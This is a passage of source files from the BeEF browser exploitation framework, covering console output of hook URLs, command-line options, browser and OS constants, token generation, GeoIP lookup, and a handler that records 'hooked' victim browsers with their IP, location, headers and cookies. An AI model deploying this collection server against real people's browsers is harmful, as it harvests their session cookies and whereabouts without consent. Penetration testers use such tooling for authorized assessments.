local config settings\n            proto = configuration.local_proto\n            hook_file = configuration.hook_file_path\n            admin_ui = configuration.get('beef.extension.admin_ui.enable') ? true : false\n            admin_ui_path = configuration.get('beef.extension.admin_ui.base_path')\n\n            # display the hook URL and Admin UI URL on each interface from the interfaces array\n            interfaces.map do |host|\n              print_info \"running on network interface: #{host}\"\n              port = configuration.local_port\n              data = \"Hook URL: #{proto}://#{host}:#{port}#{hook_file}\\n\"\n              data += \"UI URL:   #{proto}://#{host}:#{port}#{admin_ui_path}/panel\\n\" if admin_ui\n              print_more data\n            end\n\n            # display the public hook URL and Admin UI URL\n            if configuration.public_enabled?\n              print_info 'Public:'\n              data = \"Hook URL: #{configuration.hook_url}\\n\"\n              data += \"UI URL:   #{configuration.beef_url_str}#{admin_ui_path}/panel\\n\" if admin_ui\n              print_more data\n            end\n          end\n\n          #\n          # Print loaded extensions\n          #\n          def print_loaded_extensions\n            extensions = BeEF::Extensions.get_loaded\n            print_info \"#{extensions.size} extensions enabled:\"\n            output = ''\n\n            extensions.each do |_key, ext|\n              output << \"#{ext['name']}\\n\"\n            end\n\n            print_more output\n          end\n\n          #\n          # Print loaded modules\n          #\n          def print_loaded_modules\n            print_info \"#{BeEF::Modules.get_enabled.count} modules enabled.\"\n          end\n\n          #\n          # Print WebSocket servers\n          #\n          def print_websocket_servers\n            config = BeEF::Core::Configuration.instance\n            ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout')\n            print_info \"Starting WebSocket server ws://#{config.beef_host}:#{config.get('beef.http.websocket.port').to_i} [timer: #{ws_poll_timeout}]\"\n            if config.get('beef.http.websocket.secure')\n              print_info \"Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get('beef.http.websocket.secure_port').to_i} [timer: #{ws_poll_timeout}]\"\n            end\n          end\n\n          # Print WebSocket servers\n          #\n          def print_http_proxy\n            config = BeEF::Core::Configuration.instance\n            print_info \"HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}\"\n          end\n\n          def print_dns\n            address = nil\n            port = nil\n            protocol = nil\n\n            # TODO: fix the following reference - extensions/dns/api.rb\n            # servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration\n\n            # Print the DNS server information\n            unless address.nil? || port.nil? || protocol.nil?\n              print_info \"DNS Server: #{address}:#{port} (#{protocol})\"\n              print_more upstream_servers unless upstream_servers.empty?\n            end\n          end\n\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/console/beef.ascii",
    "content": "                                                                      \n                                     .O,                              \n                                     lkOl                             \n                                     od cOc                           \n                                     'X,  cOo.                        \n                                      cX,   ,dkc.                     \n                                       ;Kd.    ,odo,.                 \n                                        .dXl   .  .:xkl'              \n                                          'OKc  .;c'  ,oOk:           \n                                            ,kKo. .cOkc. .lOk:.       \n                                              .dXx.  :KWKo. 'dXd.     \n                                                .oXx.  cXWW0c..dXd.   \n                                                  oW0   .OWWWNd.'KK.  \n                                          ....,;lkNWx     KWWWWX:'XK. \n ,o:,                          .,:odkO00XNK0Okxdlc,.     .KWWWWWWddWd \n  K::Ol                   .:d0NXK0OkxdoxO'             .lXWWWWWWWWKW0 \n  od  d0.              .l0NKOxdooooooox0.        .,cdOXWWWWWWWWWWWWWx \n  :O   ;K;           ;kN0kooooooooooooK:  .':ok0NWWWWWWWWWWWWWWWWWWK. \n  'X    .Kl        ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd.  \n  .N. o. .Kl     'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l.    \n   0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:.       \n   lX.,WN:  .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo.           \n    0O.0WWk'   .XKoooooooooooONWWNo  dWWWWWWWWWWWWWWWWWl              \n     oKkNWWWX00NWXdooooooooxXWWNk'   dWWWWWWWWWWWWWWWWX               \n      .cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW:              \n         .;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.             \n              'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd             \n              oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO             \n             ;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx             \n          ;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX.             \n         .NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX'              \n          :KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk.               \n         .xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk'                 \n         OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl.                   \n        ,Wk  xWWWWWWWWd  xWWNWWWWWWWWWWWWXOdc,.                       \n        .N0   lOXNX0x;  .KWWWWWWWWWWWNkc.                             \n         :NO,         'lXWWWWWWWWWNk:.                                \n          .dXN0OkxkO0NWWWWWWWWWWKl.                                   \n             .';o0WWWWWWWWWWWNk;                                      \n                  .cxOKXKKOd;.                                        \n                                                                      \n"
  },
  {
    "path": "core/main/console/commandline.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'optparse'\n\nmodule BeEF\n  module Core\n    module Console\n      #\n      # This module parses the command line argument when running beef.\n      #\n      module CommandLine\n        @options = {}\n        @options[:verbose] = false\n        @options[:resetdb] = false\n        @options[:ascii_art] = false\n        @options[:ext_config] = ''\n        @options[:port] = ''\n        @options[:ws_port] = ''\n        @options[:update_disabled] = false\n        @options[:update_auto] = false\n\n        @already_parsed = false\n\n        #\n        # Parses the command line arguments of the console.\n        # It also populates the 'options' hash.\n        #\n        def self.parse\n          return @options if @already_parsed\n\n          optparse = OptionParser.new do |opts|\n            opts.on('-x', '--reset', 'Reset the database') do\n              @options[:resetdb] = true\n            end\n\n            opts.on('-v', '--verbose', 'Display debug information') do\n              @options[:verbose] = true\n            end\n\n            opts.on('-a', '--ascii-art', 'Prints BeEF ascii art') do\n              @options[:ascii_art] = true\n            end\n\n            opts.on('-c', '--config FILE', \"Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.\") do |f|\n              @options[:ext_config] = f\n            end\n\n            opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p|\n              @options[:port] = p\n            end\n\n            opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|\n              @options[:ws_port] = ws_port\n            end\n\n            opts.on('-d', '--update-disabled', 'Skips update') do\n              @options[:update_disabled] = true\n            end\n\n            opts.on('-u', '--update-auto', 'Automatic update with no prompt') do\n              @options[:update_auto] = true\n            end\n\n            opts.on('-h', '--help', 'Show this help') do\n              puts opts\n              exit 0\n            end\n\n          end\n\n          optparse.parse!\n          @already_parsed = true\n          @options\n        rescue OptionParser::InvalidOption\n          puts 'Invalid command line option provided. Please run beef --help'\n          exit 1\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/constants/browsers.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Constants\n      module Browsers\n        FF      = 'FF'       # Firefox\n        M       = 'M'        # Mozilla\n        IE      = 'IE'       # Internet Explorer\n        E       = 'E'        # Microsoft Edge\n        S       = 'S'        # Safari\n        EP      = 'EP'       # Epiphany\n        K       = 'K'        # Konqueror\n        C       = 'C'        # Chrome\n        O       = 'O'        # Opera\n        A       = 'A'        # Avant\n        MI      = 'MI'       # Midori\n        OD      = 'OD'       # Odyssey\n        BR      = 'BR'       # Brave\n        ALL     = 'ALL'      # ALL\n        UNKNOWN = 'UN'       # Unknown\n\n        FRIENDLY_FF_NAME  = 'Firefox'\n        FRIENDLY_M_NAME   = 'Mozilla'\n        FRIENDLY_IE_NAME  = 'Internet Explorer'\n        FRIENDLY_E_NAME   = 'MSEdge'\n        FRIENDLY_S_NAME   = 'Safari'\n        FRIENDLY_EP_NAME  = 'Epiphany'\n        FRIENDLY_K_NAME   = 'Konqueror'\n        FRIENDLY_C_NAME   = 'Chrome'\n        FRIENDLY_O_NAME   = 'Opera'\n        FRIENDLY_A_NAME   = 'Avant'\n        FRIENDLY_MI_NAME  = 'Midori'\n        FRIENDLY_OD_NAME  = 'Odyssey'\n        FRIENDLY_BR_NAME  = 'Brave'\n        FRIENDLY_UN_NAME  = 'UNKNOWN'\n\n        # Attempt to retrieve a browser's friendly name\n        # @param [String] browser_name Short browser name\n        # @return [String] Friendly browser name\n        def self.friendly_name(browser_name)\n          case browser_name\n          when FF then FRIENDLY_FF_NAME\n          when M then FRIENDLY_M_NAME\n          when IE then FRIENDLY_IE_NAME\n          when E then       FRIENDLY_E_NAME\n          when S then       FRIENDLY_S_NAME\n          when EP then FRIENDLY_EP_NAME\n          when K then       FRIENDLY_K_NAME\n          when C then       FRIENDLY_C_NAME\n          when O then       FRIENDLY_O_NAME\n          when A then       FRIENDLY_A_NAME\n          when MI then      FRIENDLY_MI_NAME\n          when OD then      FRIENDLY_OD_NAME\n          when BR then      FRIENDLY_BR_NAME\n          when UNKNOWN then FRIENDLY_UN_NAME\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/constants/commandmodule.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Constants\n      module CommandModule\n        # @note Constants to define the execution probability of a command module (this is browser dependant)\n        VERIFIED_WORKING =      0\n        VERIFIED_UNKNOWN =      1\n        VERIFIED_USER_NOTIFY =  2\n        VERIFIED_NOT_WORKING =  3\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/constants/hardware.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Constants\n      # @note The hardware's strings for hardware detection.\n      module Hardware\n        HW_UNKNOWN_IMG        = 'pc.png'\n        HW_VM_IMG             = 'vm.png'\n        HW_LAPTOP_IMG         = 'laptop.png'\n        HW_IPHONE_UA_STR      = 'iPhone'\n        HW_IPHONE_IMG         = 'iphone.jpg'\n        HW_IPAD_UA_STR = 'iPad'\n        HW_IPAD_IMG = 'ipad.png'\n        HW_IPOD_UA_STR = 'iPod'\n        HW_IPOD_IMG\t          = 'ipod.jpg'\n        HW_BLACKBERRY_UA_STR  = 'BlackBerry'\n        HW_BLACKBERRY_IMG     = 'blackberry.png'\n        HW_WINPHONE_UA_STR    = 'Windows Phone'\n        HW_WINPHONE_IMG       = 'win.png'\n        HW_ZUNE_UA_STR        = 'ZuneWP7'\n        HW_ZUNE_IMG           = 'zune.gif'\n        HW_KINDLE_UA_STR      = 'Kindle'\n        HW_KINDLE_IMG         = 'kindle.png'\n        HW_NOKIA_UA_STR       = 'Nokia'\n        HW_NOKIA_IMG          = 'nokia.ico'\n        HW_HTC_UA_STR         = 'HTC'\n        HW_HTC_IMG            = 'htc.ico'\n        HW_MOTOROLA_UA_STR    = 'motorola'\n        HW_MOTOROLA_IMG       = 'motorola.png'\n        HW_GOOGLE_UA_STR      = 'Nexus'\n        HW_GOOGLE_IMG         = 'nexus.png'\n        HW_ERICSSON_UA_STR    = 'Ericsson'\n        HW_ERICSSON_IMG       = 'sony_ericsson.png'\n        HW_ALL_UA_STR         = 'All'\n\n        # Attempt to match operating system string to constant\n        # @param [String] name Name of operating system\n        # @return [String] Constant name of matched operating system, returns 'ALL'  if nothing are matched\n        def self.match_hardware(name)\n          case name.downcase\n          when /iphone/\n            HW_IPHONE_UA_STR\n          when /ipad/\n            HW_IPAD_UA_STR\n          when /ipod/\n            HW_IPOD_UA_STR\n          when /blackberry/\n            HW_BLACKBERRY_UA_STR\n          when /windows phone/\n            HW_WINPHONE_UA_STR\n          when /zune/\n            HW_ZUNE_UA_STR\n          when /kindle/\n            HW_KINDLE_UA_STR\n          when /nokia/\n            HW_NOKIA_UA_STR\n          when /motorola/\n            HW_MOTOROLA_UA_STR\n          when /htc/\n            HW_HTC_UA_STR\n          when /google/\n            HW_GOOGLE_UA_STR\n          when /ericsson/\n            HW_ERICSSON_UA_STR\n          else\n            'ALL'\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/constants/os.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Constants\n      # @note The OS'es strings for os detection.\n      module Os\n        OS_UNKNOWN_IMG = 'unknown.png'\n        OS_WINDOWS_UA_STR = 'Windows'\n        OS_WINDOWS_IMG = 'win.png'\n        OS_LINUX_UA_STR = 'Linux'\n        OS_LINUX_IMG = 'linux.png'\n        OS_MAC_UA_STR = 'Mac'\n        OS_MAC_IMG = 'mac.png'\n        OS_QNX_UA_STR = 'QNX'\n        OS_QNX_IMG = 'qnx.ico'\n        OS_SUNOS_UA_STR = 'SunOS'\n        OS_SUNOS_IMG = 'sunos.gif'\n        OS_BEOS_UA_STR = 'BeOS'\n        OS_BEOS_IMG = 'beos.png'\n        OS_OPENBSD_UA_STR = 'OpenBSD'\n        OS_OPENBSD_IMG = 'openbsd.ico'\n        OS_IOS_UA_STR = 'iOS'\n        OS_IOS_IMG = 'ios.png'\n        OS_IPHONE_UA_STR = 'iPhone'\n        OS_WEBOS_IMG = 'webos.png'\n        OS_AROS_UA_STR = 'AROS'\n        OS_AROS_IMG = 'icaros.png'\n        OS_IPHONE_IMG = 'iphone.jpg'\n        OS_IPAD_UA_STR = 'iPad'\n        OS_IPAD_IMG = 'ipad.png'\n        OS_IPOD_UA_STR = 'iPod'\n        OS_IPOD_IMG = 'ipod.jpg'\n        OS_MAEMO_UA_STR = 'Maemo'\n        OS_MAEMO_IMG = 'maemo.ico'\n        OS_BLACKBERRY_UA_STR = 'BlackBerry'\n        OS_BLACKBERRY_IMG = 'blackberry.png'\n        OS_ANDROID_UA_STR = 'Android'\n        OS_ANDROID_IMG = 'android.png'\n        OS_ALL_UA_STR = 'All'\n\n        # Attempt to match operating system string to constant\n        # @param [String] name Name of operating system\n        # @return [String] Constant name of matched operating system, returns 'ALL'  if nothing are matched\n        def self.match_os(name)\n          case name.downcase\n          when /win/\n            OS_WINDOWS_UA_STR\n          when /lin/\n            OS_LINUX_UA_STR\n          when /os x/, /osx/, /mac/\n            OS_MAC_UA_STR\n          when /qnx/\n            OS_QNX_UA_STR\n          when /sun/\n            OS_SUNOS_UA_STR\n          when /beos/\n            OS_BEOS_UA_STR\n          when /openbsd/\n            OS_OPENBSD_UA_STR\n          when /ios/, /iphone/, /ipad/, /ipod/\n            OS_IOS_UA_STR\n          when /maemo/\n            OS_MAEMO_UA_STR\n          when /blackberry/\n            OS_BLACKBERRY_UA_STR\n          when /android/\n            OS_ANDROID_UA_STR\n          when /aros/\n            OS_AROS_UA_STR\n          else\n            'ALL'\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/crypto.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'securerandom'\n\nmodule BeEF\n  module Core\n    module Crypto\n      # @note the minimum length of the security token\n      TOKEN_MINIMUM_LENGTH = 15\n\n      #\n      # Generate a secure random token\n      #\n      # @param [Integer] len The length of the secure token\n      #\n      # @return [String] Security token\n      #\n      def self.secure_token(len = nil)\n        # get default length from config\n        config = BeEF::Core::Configuration.instance\n        token_length = len || config.get('beef.crypto_default_value_length').to_i\n\n        # type checking\n        raise TypeError, \"Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}\" if token_length < TOKEN_MINIMUM_LENGTH\n\n        # return random hex string\n        SecureRandom.random_bytes(token_length).unpack1('H*')\n      end\n\n      #\n      # Generate a secure random token, 20 chars, used as an auth token for the RESTful API.\n      # After creation it's stored in the BeEF configuration object => conf.get('beef.api_token')\n      #\n      # @return [String] Security token\n      #\n      def self.api_token\n        config = BeEF::Core::Configuration.instance\n        token_length = 20\n\n        # return random hex string\n        token = SecureRandom.random_bytes(token_length).unpack1('H*')\n        config.set('beef.api_token', token)\n        token\n      end\n\n      #\n      # Generates a random alphanumeric string\n      # Note: this isn't securely random\n      # @todo use SecureRandom once Ruby 2.4 is EOL\n      #\n      # @param length integer length of returned string\n      #\n      def self.random_alphanum_string(length = 10)\n        raise TypeError, \"'length' is #{length.class}; expected Integer\" unless length.is_a?(Integer)\n        raise TypeError, \"Invalid length: #{length}\" unless length.positive?\n\n        [*('a'..'z'), *('A'..'Z'), *('0'..'9')].shuffle[0, length].join\n      end\n\n      #\n      # Generates a random hex string\n      #\n      # @param length integer length of returned string\n      #\n      def self.random_hex_string(length = 10)\n        raise TypeError, \"'length' is #{length.class}; expected Integer\" unless length.is_a?(Integer)\n        raise TypeError, \"Invalid length: #{length}\" unless length.positive?\n\n        SecureRandom.random_bytes(length).unpack1('H*')[0...length]\n      end\n\n      #\n      # Generates a unique identifier for DNS rules.\n      #\n      # @return [String] 8-character hex identifier\n      #\n      def self.dns_rule_id\n        id = nil\n\n        begin\n          id = random_hex_string(8)\n          BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id }\n        rescue StandardError\n          retry\n        end\n\n        id.to_s\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/geoip.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    class GeoIp\n      include Singleton\n\n      def initialize\n        @config = BeEF::Core::Configuration.instance\n        @enabled = @config.get('beef.geoip.enable') ? true : false\n\n        return unless @enabled\n\n        geoip_file = @config.get('beef.geoip.database')\n\n        unless File.exist? geoip_file\n          BeEF::Core::Logger.instance.register('System', \"[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'\")\n          @enabled = false\n          return\n        end\n\n        require 'maxmind/db'\n        @geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY)\n        @geoip_reader.freeze\n      rescue StandardError => e\n        print_error \"[GeoIP] Failed to load GeoIP database: #{e.message}\"\n        @enabled = false\n      end\n\n      #\n      # Check if GeoIP functionality is enabled and functional\n      #\n      # @return [Boolean] GeoIP functionality enabled?\n      #\n      def enabled?\n        @enabled\n      end\n\n      #\n      # Search the MaxMind GeoLite2 database for the specified IP address\n      #\n      # @param [String] The IP address to lookup\n      #\n      # @return [Hash] IP address lookup results\n      #\n      def lookup(ip)\n        raise TypeError, '\"ip\" needs to be a string' unless ip.is_a?(String)\n\n        return unless @enabled\n\n        @geoip_reader.get(ip)\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/handlers/browserdetails.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Handlers\n      # @note Retrieves information about the browser (type, version, plugins etc.)\n      class BrowserDetails\n        @data = {}\n\n        HB = BeEF::Core::Models::HookedBrowser\n        BD = BeEF::Core::Models::BrowserDetails\n\n        def initialize(data)\n          @data = data\n          setup\n        end\n\n        def err_msg(error)\n          print_error \"[Browser Details] #{error}\"\n        end\n\n        def setup\n          print_debug '[INIT] Processing Browser Details...'\n          config = BeEF::Core::Configuration.instance\n\n          # validate hook session value\n          session_id = get_param(@data, 'beefhook')\n\n          print_debug \"[INIT] Processing Browser Details for session #{session_id}\"\n          unless BeEF::Filters.is_valid_hook_session_id?(session_id)\n            err_msg 'session id is invalid'\n            return\n          end\n\n          hooked_browser = HB.where(session: session_id).first\n          return unless hooked_browser.nil? # browser is already registered with framework\n\n          # create the structure representing the hooked browser\n          zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)\n          zombie.firstseen = Time.new.to_i\n\n          # hooked window host name\n          log_zombie_port = 0\n          if !@data['results']['browser.window.hostname'].nil? && BeEF::Filters.is_valid_hostname?(@data['results']['browser.window.hostname'])\n            log_zombie_domain = @data['results']['browser.window.hostname']\n          elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?\n            referer = @data['request'].referer\n            log_zombie_port = if referer.start_with?('https://')\n                                443\n                              else\n                                80\n                              end\n            log_zombie_domain = referer.gsub('http://', '').gsub('https://', '').split('/')[0]\n          else\n            log_zombie_domain = 'unknown' # Probably local file open\n          end\n\n          # hooked window host port\n          if @data['results']['browser.window.hostport'].nil? || !BeEF::Filters.is_valid_port?(@data['results']['browser.window.hostport'].to_s)\n            log_zombie_domain_parts = log_zombie_domain.split(':')\n            log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1\n          else\n            log_zombie_port = @data['results']['browser.window.hostport']\n          end\n\n          zombie.domain = log_zombie_domain\n          zombie.port = log_zombie_port\n\n          # Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(\n          @http_headers = {}\n          http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }\n                                        .each do |key, value|\n            @http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8')\n          end\n          zombie.httpheaders = @http_headers.to_json\n          zombie.save!\n          # print_debug \"[INIT] HTTP Headers: #{zombie.httpheaders}\"\n\n          # add a log entry for the newly hooked browser\n          BeEF::Core::Logger.instance.register('Zombie', \"#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port}\", zombie.id.to_s)\n\n          # get and store browser name\n          browser_name = get_param(@data['results'], 'browser.name')\n          if BeEF::Filters.is_valid_browsername?(browser_name)\n            BD.set(session_id, 'browser.name', browser_name)\n\n            # lookup and store browser friendly name\n            browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)\n            BD.set(session_id, 'browser.name.friendly', browser_friendly_name)\n          else\n            err_msg \"Invalid browser name returned from the hook browser's initial connection.\"\n            browser_name = 'Unknown'\n          end\n\n          if BeEF::Filters.is_valid_ip?(zombie.ip)\n            BD.set(session_id, 'network.ipaddress', zombie.ip)\n          else\n            err_msg \"Invalid IP address returned from the hook browser's initial connection.\"\n          end\n\n          # lookup zombie host name\n          if config.get('beef.dns_hostname_lookup')\n            begin\n              host_name = Resolv.getname(zombie.ip).to_s\n              BD.set(session_id, 'host.name', host_name) if BeEF::Filters.is_valid_hostname?(host_name)\n            rescue StandardError\n              print_debug \"[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'\"\n            end\n          end\n\n          # geolocation\n          BD.set(session_id, 'location.city', 'Unknown')\n          BD.set(session_id, 'location.country', 'Unknown')\n          if BeEF::Core::GeoIp.instance.enabled?\n            geoip = BeEF::Core::GeoIp.instance.lookup(zombie.ip)\n            if geoip.nil?\n              print_debug \"[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'\"\n            else\n              # print_debug \"[INIT] Geolocation results: #{geoip}\"\n              BeEF::Core::Logger.instance.register('Zombie', \"#{zombie.ip} is connecting from: #{geoip}\", zombie.id.to_s)\n              BD.set(\n                session_id,\n                'location.city',\n                (begin\n                  geoip['city']['names']['en']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.country',\n                (begin\n                  geoip['country']['names']['en']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.country.isocode',\n                (begin\n                  geoip['country']['iso_code']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.country.registered_country',\n                (begin\n                  geoip['registered_country']['names']['en']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.country.registered_country.isocode',\n                (begin\n                  geoip['registered_country']['iso_code']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.continent',\n                (begin\n                  geoip['continent']['names']['en']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.continent.code',\n                (begin\n                  geoip['continent']['code']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.latitude',\n                (begin\n                  geoip['location']['latitude']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.longitude',\n                (begin\n                  geoip['location']['longitude']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n              BD.set(\n                session_id,\n                'location.timezone',\n                (begin\n                  geoip['location']['time_zone']\n                rescue StandardError\n                  'Unknown'\n                end).to_s\n              )\n            end\n          end\n\n          # detect browser proxy\n          using_proxy = false\n          %w[\n            CLIENT_IP\n            FORWARDED_FOR\n            FORWARDED\n            FORWARDED_FOR_IP\n            PROXY_CONNECTION\n            PROXY_AUTHENTICATE\n            X_FORWARDED\n            X_FORWARDED_FOR\n            VIA\n          ].each do |header|\n            unless JSON.parse(zombie.httpheaders)[header].nil?\n              using_proxy = true\n              break\n            end\n          end\n\n          # retrieve proxy client IP\n          proxy_clients = []\n          %w[\n            CLIENT_IP\n            FORWARDED_FOR\n            FORWARDED\n            FORWARDED_FOR_IP\n            X_FORWARDED\n            X_FORWARDED_FOR\n          ].each do |header|\n            val = JSON.parse(zombie.httpheaders)[header]\n            unless val.nil?\n              val.to_s.split(',').each do |ip|\n                proxy_clients << ip.strip if BeEF::Filters.is_valid_ip?(ip.strip)\n              end\n            end\n          end\n\n          # retrieve proxy server\n          proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?\n          proxy_server = nil unless proxy_server.nil? || BeEF::Filters.has_valid_browser_details_chars?(proxy_server)\n\n          # store and log proxy details\n          if using_proxy == true\n            BD.set(session_id, 'network.proxy', 'Yes')\n            proxy_log_string = \"#{zombie.ip} is using a proxy\"\n            unless proxy_clients.empty?\n              BD.set(session_id, 'network.proxy.client', proxy_clients.sort.uniq.join(',').to_s)\n              proxy_log_string += \" [client: #{proxy_clients.sort.uniq.join(',')}]\"\n            end\n            unless proxy_server.nil?\n              BD.set(session_id, 'network.proxy.server', proxy_server.to_s)\n              proxy_log_string += \" [server: #{proxy_server}]\"\n              if config.get('beef.extension.network.enable') == true && (proxy_server =~ /^([\\d.]+):(\\d+)$/)\n                print_debug(\"Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{Regexp.last_match(1)}]\")\n                BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: Regexp.last_match(1), type: 'Proxy')\n              end\n            end\n            BeEF::Core::Logger.instance.register('Zombie', proxy_log_string.to_s, zombie.id.to_s)\n          end\n\n          # get and store browser version\n          browser_version = get_param(@data['results'], 'browser.version')\n          if BeEF::Filters.is_valid_browserversion?(browser_version)\n            BD.set(session_id, 'browser.version', browser_version)\n          else\n            err_msg \"Invalid browser version returned from the hook browser's initial connection.\"\n            browser_version = 'Unknown'\n          end\n\n          # get and store browser string\n          browser_string = get_param(@data['results'], 'browser.name.reported')\n          if BeEF::Filters.is_valid_browserstring?(browser_string)\n            BD.set(session_id, 'browser.name.reported', browser_string)\n          else\n            err_msg \"Invalid value for 'browser.name.reported' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store browser engine\n          browser_engine = get_param(@data['results'], 'browser.engine')\n          if BeEF::Filters.is_valid_browserstring?(browser_engine)\n            BD.set(session_id, 'browser.engine', browser_engine)\n          else\n            err_msg \"Invalid value for 'browser.engine' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store browser language\n          browser_lang = get_param(@data['results'], 'browser.language')\n          if BeEF::Filters.has_valid_browser_details_chars?(browser_lang)\n            BD.set(session_id, 'browser.language', browser_lang)\n          else\n            err_msg \"Invalid browser language returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the cookies\n          cookies = get_param(@data['results'], 'browser.window.cookies')\n          if BeEF::Filters.is_valid_cookies?(cookies)\n            BD.set(session_id, 'browser.window.cookies', cookies)\n          else\n            err_msg \"Invalid cookies returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the OS name\n          os_name = get_param(@data['results'], 'host.os.name')\n          if BeEF::Filters.is_valid_osname?(os_name)\n            BD.set(session_id, 'host.os.name', os_name)\n          else\n            err_msg \"Invalid operating system name returned from the hook browser's initial connection.\"\n            os_name = 'Unknown'\n          end\n\n          # get and store the OS family\n          os_family = get_param(@data['results'], 'host.os.family')\n          if BeEF::Filters.is_valid_osname?(os_family)\n            BD.set(session_id, 'host.os.family', os_family)\n          else\n            err_msg \"Invalid value for 'host.os.family' returned from the hook browser's initial connection.\"\n          end\n\n          # get and store the OS version\n          # - without checks as it can be very different, for instance on linux/bsd)\n          os_version = get_param(@data['results'], 'host.os.version')\n          if BeEF::Filters.has_valid_browser_details_chars?(os_version)\n            